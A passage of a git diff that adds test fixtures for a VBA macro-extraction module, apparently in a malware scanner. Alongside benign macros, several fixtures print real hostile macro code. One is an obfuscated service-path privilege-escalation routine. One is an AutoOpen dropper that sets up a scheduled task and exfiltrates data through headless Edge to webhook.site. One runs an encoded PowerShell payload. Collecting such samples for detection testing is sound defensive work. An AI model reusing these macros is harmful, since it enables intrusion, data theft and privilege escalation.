Chr(45) & Chr(78) & Chr(111) & Chr(110) & Chr(73) & Chr(32) & Chr(45) & Chr(87) & Chr(32) & Chr(72) & Chr(105) & Chr(100) & Chr(100) & Chr(101) & Chr(110) & Chr(32) & Chr(45) & Chr(69) & Chr(120) & Chr(101) & Chr(99) & Chr(32) & Chr(66) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & Chr(32) & Chr(45) & Chr(67) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & Chr(32) & Chr(34) & sFull & Chr(34) + On Error Resume Next + Shell c1, vbHide + Application.Wait Now + 0.00005787 + r1 = (Err.Number = 0) + On Error GoTo 0 + End Function + + Sub x_9973() + Dim v1 As Object, v2 As Object, v3 As Object + Dim rMsg As String + Dim d As Object + Set d = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(46) & Chr(68) & Chr(105) & Chr(99) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(97) & Chr(114) & Chr(121)) + Set v1 = GetObject(Chr(119) & Chr(105) & Chr(110) & Chr(109) & Chr(103) & Chr(109) & Chr(116) & Chr(115) & Chr(58) & Chr(92) & Chr(92) & Chr(46) & Chr(92) & Chr(114) & Chr(111) & Chr(111) & Chr(116) & Chr(92) & Chr(99) & Chr(105) & Chr(109) & Chr(118) & Chr(50)) + Set v2 = v1.ExecQuery(StrReverse("')' tuA=edoMtratS 'detarC' erehw enamohtaP ,emaN TCELES")) + rMsg = StrReverse(":denuof secivres elbarenelecnuv") & vbCrLf & vbCrLf + For Each v3 In v2 + Dim p1 As String: p1 = Trim(v3.PathName) + If p1 <> "" And InStr(p1, Chr(32)) > 0 And Left(p1, 1) <> Chr(34) Then + Dim p2 As String: p2 = p1 + If InStr(p2, StrReverse("exe.")) Then p2 = Left(p2, InStr(p2, StrReverse("exe.")) + 3) + If LCase(Left(p2, 10)) <> StrReverse("swodniw:c") Then + rMsg = rMsg & "[+] " & v3.Name & " -> " & p2 & vbCrLf & vbCrLf + d.Add v3.Name, p2 + End If + End If + Next + If d.Count = 0 Then + MsgBox StrReverse(".yletubirnev elbarenelecnuv oN") + Exit Sub + End If + MsgBox rMsg & StrReverse("...ycivres hcae gnitiolpxE") + Dim k + For Each k In d.Keys + Call x_e(CStr(k), CStr(d(k))) + Next + Set v1 = Nothing: Set v2 = Nothing: Set d = Nothing + End Sub + + Function x_p(sp As String) As String + Dim lp As Integer: lp = InStrRev(sp, Chr(32)) + If lp > 0 Then x_p = Left(sp, lp - 1) & ".exe" Else x_p = "" + End Function + + Sub x_e(sName As String, sPath As String) + Dim pp As String: pp = x_p(sPath) + If pp = "" Then + MsgBox StrReverse("!dnuof ecaps on") + Exit Sub + End If + Dim f1 As Object + Set f1 = CreateObject(Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(105) & Chr(110) & Chr(103) & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116)) + Dim bp As String + bp = f1.GetParentFolderName(pp) & "\_" & StrReverse("tab.liocxe") + On Error Resume Next + Dim tf As Object + Set tf = f1.CreateTextFile(bp, True) + If Err.Number = 0 Then + tf.WriteLine StrReverse("@echo off") + tf.WriteLine "echo " & sName & StrReverse("] detiolpxE [") & " " & StrReverse("SESTY") & " " & ">> C:\exploited.txt" + tf.Close + f1.CopyFile bp, pp, True + If Err.Number = 0 Then + If r1(sName) Then + MsgBox StrReverse("!detratser ycivreS") + Else + MsgBox StrReverse(".deil ybassU eulF") + End If + Else + MsgBox StrReverse("eruliaf etirw") + End If + Else + MsgBox StrReverse("!redlof etac") + End If + On Error GoTo 0 + Set f1 = Nothing + End Sub + +project_info: + name: "Project" + version: "1814194286.9" + references: + - "stdole" + - "Office" + module_count: 1 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.in.zip b/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.in.zip new file mode 100644 index 00000000..d12d5ee9 Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.out b/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.out new file mode 100644 index 00000000..f7d86e0b --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.out @@ -0,0 +1,26 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + + Private Sub Document_New() + MsgBox "Hello, world!" + End Sub + +project_info: + name: "Project" + version: "1769106437.10" + references: + - "stdole" + - "Normal" + - "Office" + module_count: 1 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.in.zip b/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.in.zip new file mode 100644 index 00000000..441b4991 Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.out b/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.out new file mode 100644 index 00000000..dbfab6ea --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.out @@ -0,0 +1,34 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + + - name: "模块1" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "??1" + Sub Auto_Open() + MsgBox "EvilClippy ²âÊԳɹ¦£¡", vbInformation, "²âÊÔ֪ͨ" + End Sub + + Sub AutoOpen() + Auto_Open + End Sub + +project_info: + name: "Project" + version: "1812056321.6" + references: + - "stdole" + - "Normal" + - "Office" + module_count: 2 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.in.zip b/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.in.zip new file mode 100644 index 00000000..ca1f6449 Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.out b/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.out new file mode 100644 index 00000000..13e9dd5f --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.out @@ -0,0 +1,131 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + + - name: "Module1" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "Module1" + Sub AutoOpen() + + Set FSO = CreateObject("Scripting.FileSystemObject") + Set File = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04") + ".v" + "b" + "s", True) + File.Write "Create" + File.Write "Object" + File.Write "(""WScri" + File.Write "pt.shell"").R" + File.Write "un """""""" & WScri" + File.Write "pt.Arguments(0) & """""""", 0, False" + File.Write "" + File.Close + + Set FSO2 = CreateObject("Scripting.FileSystemObject") + Set File2 = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04") + ".b" + "a" + "t", True) + File2.WriteLine "@echo off" + File2.WriteLine "del /q /f ""%userprofile%\Downloads\*.f04""" + File2.WriteLine "del /q /f ""%userprofile%\Downloads\*.tmp""" + File2.WriteLine "del /q /f ""%userprofile%\Downloads\*.crdownload""" + File2.Write "ta" + File2.Write "skkill /f /im mse" + File2.WriteLine "dge.exe" + File2.Write "start """" mse" + File2.Write "dge --window-size=1,1 --window-position=10000,10000 --ignore-certificate-errors " + File2.WriteLine "data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnaHR0cHM6Ly93ZWJob29rLnNpdGUvNjhmZjE2NzktOTc0Yi00ZDE1LTljZTAtNzk5ODkyYzYzZjA0Jyk8L3NjcmlwdD4=" + File2.WriteLine "timeout 20" + File2.Write "se" + File2.WriteLine "t outfile=%random%%random%%random%.f04" + File2.Write "typ" + File2.Write "e ""%userprofile%\Downloads\*.f04"" >> ""%userprofile%\%outfile%.c" + File2.WriteLine "md""" + File2.Write "de" + File2.WriteLine "l /q /f ""%userprofile%\Downloads\*.f04""" + File2.Write "ca" + File2.Write "ll ""%userprofile%\%outfile%.c" + File2.WriteLine "md"" >> ""%userprofile%\%outfile%"" 2>&1" + File2.Write "co" + File2.WriteLine "py ""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.htm"" + ""%userprofile%\%outfile%"" + ""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.xhtml"" ""%userprofile%\%outfile%.html""" + File2.Write "ta" + File2.Write "skkill /f /im mse" + File2.WriteLine "dge.exe" + File2.Write "start """" mse" + File2.Write "dge --window-size=1,1 --window-position=10000,10000 --ignore-certificate-errors " + File2.WriteLine """%userprofile%\%outfile%.html""" + File2.WriteLine "timeout 20" + File2.Write "de" + File2.Write "l /q /f ""%userprofile%\%outfile%.c" + File2.WriteLine "md""" + File2.Write "de" + File2.WriteLine "l /q /f ""%userprofile%\%outfile%""" + File2.Write "de" + File2.WriteLine "l /q /f ""%userprofile%\%outfile%.html""" + File2.Write "ta" + File2.Write "skkill /f /im mse" + File2.WriteLine "dge.exe" + File2.Write "" + File2.Close + + Set FSO3 = CreateObject("Scripting.FileSystemObject") + Set File3 = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04") + ".c" + "m" + "d", True) + File3.Write "echo ^^^^SYSTEM^^^^^^PT61M^^false^^^2020-05-04T00:20:47^^true^^^^^^LeastPrivilege^^^^^Parallel^^false^^false^" + File3.WriteLine "^true^^true^^false^^^true^^false^^^true^^true^^false^^false^^false^^PT1H^^7^^^^^%%userprofile%%\68ff1679-974b-4d15-9ce0-799892c63f04.vbs^^%%userprofile%%\68ff1679-974b-4d15-9ce0-799892c63f04.bat^^%%userprofile%%^^^^>""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.xml""" + File3.Write "scht" + File3.WriteLine "asks /create /xml ""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.xml"" /tn 68ff1679-974b-4d15-9ce0-799892c63f04 /f" + File3.Write "de" + File3.WriteLine "l /q /f ""%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.xml""" + File3.Write "de" + File3.Write "l /q /f ""%userprofile%\a72d8905-b15f-4e95-9a8f-5e4bb7dc9b3d.v""" + File3.WriteLine "bs" + File3.Write "de" + File3.WriteLine "l %0" + File3.Close + + Set FSO4 = CreateObject("Scripting.FileSystemObject") + Set File4 = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\a72d8905-b15f-4e95-9a8f-5e4bb7dc9b3d") + ".v" + "b" + "s", True) + File4.Write "Create" + File4.Write "Object" + File4.Write "(""Wscri" + File4.Write "pt.Shell"").R" + File4.Write "un CreateObject(""Wscri" + File4.Write "pt.Shell"").ExpandEnvironment" + File4.Write "Strings(""%user" + File4.Write "profile%\68ff1679-974b-4d15-9ce0-799892c63f04.c" + File4.Write "md"")," + File4.Write " 0, True" + File4.Write "" + File4.Close + + Set FSO5 = CreateObject("Scripting.FileSystemObject") + Set File5 = FSO.CreateTextFile(CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\68ff1679-974b-4d15-9ce0-799892c63f04.htm"), True) + File5.WriteLine "
" + File6.Close + + Shell "explorer " + CreateObject("Wscript.Shell").ExpandEnvironmentStrings("%userprofile%\a72d8905-b15f-4e95-9a8f-5e4bb7dc9b3d") + ".v" + "b" + "s", vbNormalFocus + + MsgBox "Word experienced an error trying to open the file." & vbCrLf & "Try these suggestions." & vbCrLf & "* Check the file permissions for the document or drive." & vbCrLf & "* Make sure there is sufficient free memory and disk space." & vbCrLf & "* Open the file with the Text Recovery converter." + + End Sub + + +project_info: + name: "Project" + version: "1800149595.7" + references: + - "stdole" + - "Normal" + - "Office" + module_count: 2 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.in.zip b/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.in.zip new file mode 100644 index 00000000..1ab18d60 Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.out b/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.out new file mode 100644 index 00000000..343ec18b --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.out @@ -0,0 +1,46 @@ +has_macros: true +modules: + - name: "eviliphone" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "eviliphone" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + Private Sub _ + Document_open() + lllllllll1l + End Sub + + + - name: "iphoneevil" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "iphoneevil" + Function lllllllll1l() + Dim lllllllllll As String + Dim llllllllll1 As String + lllllllllll = Chr(97) & Chr(81) & Chr(66) & Chr(117) & Chr(65) & Chr(72) & Chr(89) & Chr(65) & Chr(98) & Chr(119) & Chr(66) & Chr(114) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(76) & Chr(81) & Chr(66) & Chr(51) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(89) & Chr(103) & Chr(66) & Chr(121) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(99) & Chr(81) & Chr(66) & Chr(49) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(99) & Chr(119) & Chr(66) & Chr(48) & Chr(65) & Chr(67) & Chr(65) & Chr(65) & Chr(76) & Chr(81) & _ + Chr(66) & Chr(86) & Chr(65) & Chr(72) & Chr(73) & Chr(65) & Chr(97) & Chr(81) & Chr(65) & Chr(103) & Chr(65) & Chr(67) & Chr(99) & Chr(65) & Chr(97) & Chr(65) & Chr(66) & Chr(48) & Chr(65) & Chr(72) & Chr(81) & Chr(65) & Chr(99) & Chr(65) & Chr(65) & Chr(54) & Chr(65) & Chr(67) & Chr(56) & Chr(65) & Chr(76) & Chr(119) & Chr(66) & Chr(104) & Chr(65) & Chr(72) & Chr(65) & Chr(65) & Chr(99) & Chr(65) & Chr(66) & Chr(74) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(76) & Chr(103) & Chr(66) & Chr(106) & Chr(65) & Chr(71) & Chr(56) & Chr(65) & Chr(98) & Chr(81) & Chr(65) _ + & Chr(118) & Chr(65) & Chr(69) & Chr(107) & Chr(65) & Chr(99) & Chr(65) & Chr(66) & Chr(111) & Chr(65) & Chr(71) & Chr(56) & Chr(65) & Chr(98) & Chr(103) & Chr(66) & Chr(108) & Chr(65) & Chr(67) & Chr(52) & Chr(65) & Chr(90) & Chr(81) & Chr(66) & Chr(52) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(74) & Chr(119) & Chr(65) & Chr(103) & Chr(65) & Chr(67) & Chr(48) & Chr(65) & Chr(84) & Chr(119) & Chr(66) & Chr(49) & Chr(65) & Chr(72) & Chr(81) & Chr(65) & Chr(82) & Chr(103) & Chr(66) & Chr(112) & Chr(65) & Chr(71) & Chr(119) & Chr(65) & Chr(90) & Chr(81) & Chr(65) & _ + Chr(103) & Chr(65) & Chr(67) & Chr(99) & Chr(65) & Chr(81) & Chr(119) & Chr(65) & Chr(54) & Chr(65) & Chr(70) & Chr(119) & Chr(65) & Chr(86) & Chr(65) & Chr(66) & Chr(108) & Chr(65) & Chr(71) & Chr(48) & Chr(65) & Chr(99) & Chr(65) & Chr(66) & Chr(99) & Chr(65) & Chr(69) & Chr(107) & Chr(65) & Chr(85) & Chr(65) & Chr(66) & Chr(111) & Chr(65) & Chr(71) & Chr(56) & Chr(65) & Chr(98) & Chr(103) & Chr(66) & Chr(108) & Chr(65) & Chr(67) & Chr(52) & Chr(65) & Chr(90) & Chr(81) & Chr(66) & Chr(52) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(74) & Chr(119) & Chr(65) & _ + Chr(103) & Chr(65) & Chr(67) & Chr(48) & Chr(65) & Chr(86) & Chr(81) & Chr(66) & Chr(122) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(82) & Chr(65) & Chr(66) & Chr(108) & Chr(65) & Chr(71) & Chr(89) & Chr(65) & Chr(89) & Chr(81) & Chr(66) & Chr(49) & Chr(65) & Chr(71) & Chr(119) & Chr(65) & Chr(100) & Chr(65) & Chr(66) & Chr(68) & Chr(65) & Chr(72) & Chr(73) & Chr(65) & Chr(90) & Chr(81) & Chr(66) & Chr(107) & Chr(65) & Chr(71) & Chr(85) & Chr(65) & Chr(98) & Chr(103) & Chr(66) & Chr(48) & Chr(65) & Chr(71) & Chr(107) & Chr(65) & Chr(89) & Chr(81) & Chr(66) & Chr(115) _ + & Chr(65) & Chr(72) & Chr(77) & Chr(65) + llllllllll1 = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(32) & Chr(45) & Chr(69) & Chr(110) & Chr(99) & Chr(111) & Chr(100) & Chr(101) & Chr(100) & Chr(67) & Chr(111) & Chr(109) & Chr(109) & Chr(97) & Chr(110) & Chr(100) & lllllllllll + CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)).Run llllllllll1, 0, True + End Function + + +project_info: + name: "Project" + version: "1652730819.6" + references: + - "stdole" + - "Normal" + - "Office" + - "MSForms" + module_count: 2 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip b/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip new file mode 100644 index 00000000..2236f51f Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out b/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out new file mode 100644 index 00000000..b01e4616 --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out @@ -0,0 +1 @@ +has_macros: false \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.in.zip b/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.in.zip new file mode 100644 index 00000000..f024c42a Binary files /dev/null and b/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.in.zip differ diff --git a/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.out b/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.out new file mode 100644 index 00000000..0bd39bd0 --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.out @@ -0,0 +1,251 @@ +has_macros: true +modules: + - name: "DieseArbeitsmappe" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "DieseArbeitsmappe" + Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = True + Private Sub Workbook_Open() + 'neue Instanz der Vorlage? + If Not ActiveWorkbook.Path <> "" Then + 'Sprache auf Excel-Sprache setzen + If Application.International(xlCountryCode) <> 33 Then + ActiveWorkbook.Names("tw_language").RefersToRange.Value = 2 + Else 'franz. + ActiveWorkbook.Names("tw_language").RefersToRange.Value = 3 + End If + Call setSheetProps + End If + End Sub + + Private Sub Workbook_BeforePrint(Cancel As Boolean) + Dim mysheet As Worksheet + Set mysheet = ActiveSheet + End Sub + + + - name: "Tabelle1" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "Tabelle1" + Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = False + Attribute VB_Customizable = True + Attribute VB_Control = "IA_WithSecondPillar, 179, 0, MSForms, ComboBox" + Attribute VB_Control = "IA_ChildrenCount, 178, 1, MSForms, ComboBox" + Attribute VB_Control = "IA_ParishSecond, 177, 2, MSForms, ComboBox" + Attribute VB_Control = "IA_ParishLeading, 176, 3, MSForms, ComboBox" + Attribute VB_Control = "IA_Denomination, 175, 4, MSForms, ComboBox" + Attribute VB_Control = "IA_DenominationLeading, 174, 5, MSForms, ComboBox" + Attribute VB_Control = "IA_PartnershipType, 173, 6, MSForms, ComboBox" + Attribute VB_Control = "IA_Municipality, 172, 7, MSForms, ComboBox" + Attribute VB_Control = "IA_Canton, 171, 8, MSForms, ComboBox" + Attribute VB_Control = "IA_Year, 170, 9, MSForms, ComboBox" + Attribute VB_Control = "cbxLanguage, 168, 10, MSForms, ComboBox" + Attribute VB_Control = "chbLocked, 169, 11, MSForms, CheckBox" + Public deferred As Boolean + + ' Code für Sprachwahl + Private Sub cbxLanguage_Change() + If deferred Then + deferred = False + Exit Sub + End If + + On Error Resume Next + ActiveWorkbook.Names("tw_language").RefersToRange.Value = cbxLanguage.ListIndex + 2 + 'Call setSheetProps + 'Call SetCellComments + End Sub + + ' Code, um Sheets zu benennen und zu sperren + Private Sub chbLocked_Click() + On Error Resume Next + + Dim alertUnlock(0 To 3) As String + alertUnlock(0) = "Achtung: TaxWare speichert nur die Werte in den vorgesehenen Eingabefeldern. Wenn Sie weitere Anpassungen an der Arbeitsmappe vornehmen, müssen Sie diese zwingend als Excel Datei speichern." + alertUnlock(1) = "Attention: TaxWare sauvegarde seulement les valeurs dans les champs de saisie appropriés. Si vous faites d'autres modifications au classeur, vous devez l'enregistrer nécessairement sous forme d'un fichier Excel." + alertUnlock(2) = "Attention: TaxWare stores only the values in the appropriate input fields. If you make further changes to the workbook, you must save it as an Excel file." + alertUnlock(3) = "Attenzione: Taxware salva solo i valori nei campi di immissione appropriati. Se si apportano ulteriori modifiche alla cartella di lavoro, è necessario salvarlo come un file di Excel." + + Dim langIndex As Integer + langIndex = ActiveWorkbook.Names("tw_language").RefersToRange.Value - 2 + + ActiveWorkbook.Names("Locked").RefersToRange.Value = chbLocked.Value * -1 + If Not chbLocked.Value Then + MsgBox alertUnlock(langIndex), vbInformation + End If + Call setSheetProps + End Sub + + + Private Sub Worksheet_Activate() + deferred = True + On Error Resume Next + cbxLanguage.ListIndex = ActiveWorkbook.Names("tw_language").RefersToRange.Value - 2 + chbLocked.Value = ActiveWorkbook.Names("Locked").RefersToRange.Value + deferred = False + End Sub + + - name: "mdlSheetProps" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "mdlSheetProps" + Public isSettingProps As Boolean + Public lastVariantsValue As String + Const colID = 1 + Const colHide = 2 + + Public Sub setSheetProps() + Dim aSheet As Excel.Worksheet, curSheet As Excel.Worksheet + Dim sheetProps() As String + Dim row As Integer, col As Integer + Dim langIndex As Integer, locked, scrnupdating As Boolean + Set curSheet = ActiveSheet + + scrnupdating = Application.ScreenUpdating + Application.ScreenUpdating = False + Application.Calculation = xlCalculationManual + + If isSettingProps = False Then + On Error Resume Next + langIndex = ActiveWorkbook.Names("tw_language").RefersToRange.Value + If Err.Number <> 0 Then + langIndex = 2 + Err.Clear + End If + locked = ActiveWorkbook.Names("Locked").RefersToRange.Value 'default: false + Err.Clear + isSettingProps = True + ActiveWorkbook.Unprotect + With ActiveWorkbook.Names("SheetProps").RefersToRange + For row = 1 To .Rows.Count + Set aSheet = ActiveWorkbook.Sheets(.Cells(row, colID)) + aSheet.Name = .Cells(row, 1 + langIndex) + If locked Then + If .Cells(row, colHide) = 1 Then + aSheet.Visible = xlSheetHidden + Else + aSheet.Protect + End If + aSheet.Activate + ActiveWindow.DisplayHeadings = False + Else + aSheet.Activate + aSheet.Unprotect + aSheet.Visible = xlSheetVisible + ActiveWindow.DisplayHeadings = True + End If + If .Cells(row, colHide) = 2 Then + Set curSheet = aSheet + End If + Next + End With + curSheet.Activate + 'ActiveWorkbook.Protect Structure:=True, Windows:=False + isSettingProps = False + End If + + Application.Calculation = xlCalculationAutomatic + Application.ScreenUpdating = scrnupdating + End Sub + + Public Sub SetCellComments() + 'setzt alle Kommentare, welche in comments aufgelistet sind, in die korrekte Sprache + + Dim row As Integer + Dim cmt_Range As Excel.Range, iCmt As Integer, myCmt As Excel.Range + Dim myWb As Excel.Workbook + Dim aSheet As Excel.Worksheet + Dim langIndex As Integer + Dim cmt_Name As String + Dim locked, scrnupdating As Boolean + + scrnupdating = Application.ScreenUpdating + Application.ScreenUpdating = False + Set myWb = ActiveWorkbook + + On Error Resume Next + + Set cmt_Range = myWb.Names("comments").RefersToRange + If Err.Number <> 0 Then Exit Sub + + langIndex = myWb.Names("tw_language").RefersToRange.Value + If Err.Number <> 0 Then + langIndex = 2 + Err.Clear + End If + + locked = ActiveWorkbook.Names("Locked").RefersToRange.Value 'default: false + + 'Freischaltung der Blätter, um Kommentarfelder umzubenennen + With ActiveWorkbook.Names("SheetProps").RefersToRange + For row = 1 To .Rows.Count + Set aSheet = ActiveWorkbook.Sheets(.Cells(row, colID)) + aSheet.Unprotect + Next + End With + + For iCmt = 1 To cmt_Range.Rows.Count + cmt_Name = cmt_Range.Cells(iCmt, 1).Value + If cmt_Name <> "" Then + Set myCmt = myWb.Names(cmt_Name).RefersToRange + If Not myCmt Is Nothing Then + myCmt.Comment.Text cmt_Range.Cells(iCmt, langIndex).Value + End If + End If + Next + + 'Schutz der Blätter + If locked Then + With ActiveWorkbook.Names("SheetProps").RefersToRange + For row = 1 To .Rows.Count + If .Cells(row, colHide) = 0 Then + Set aSheet = ActiveWorkbook.Sheets(.Cells(row, colID)) + aSheet.Protect + End If + Next + End With + End If + + Application.ScreenUpdating = scrnupdating + + End Sub + + + - name: "Feuil1" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "Feuil1" + Attribute VB_Base = 